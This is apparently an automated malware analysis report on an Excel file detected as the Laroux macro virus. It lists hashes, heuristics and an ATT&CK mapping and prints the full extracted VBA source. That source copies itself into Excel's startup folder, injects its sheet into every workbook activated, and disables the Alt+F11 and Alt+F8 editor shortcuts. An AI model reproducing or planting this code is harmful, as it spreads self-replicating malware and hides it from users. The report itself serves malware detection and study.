Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eea98f4a91e0c3f7…

MALICIOUS

Office (OLE)

41.0 KB Created: 2011-01-11 01:15:01 Authoring application: Microsoft Excel First seen: 2017-02-27
MD5: 6686473f9550403c480f8e369988433b SHA-1: c5b745cbbe4bd66be26c733602c05f6409221974 SHA-256: eea98f4a91e0c3f7b6cbc48299bdcf1130208d5100bfabb07d3817c9d6c732fd
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing VBA macros, specifically an Auto_Open macro designed to copy itself to the Excel startup directory as 'StartUp.xls'. This action aims to achieve persistence, allowing the macro to execute automatically whenever Excel is opened or a workbook is activated. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1459 bytes
SHA-256: 2ea3facc2f04ea2e2263292fb02ceb65c3b50ef964df51a03d5bc1a62926e564
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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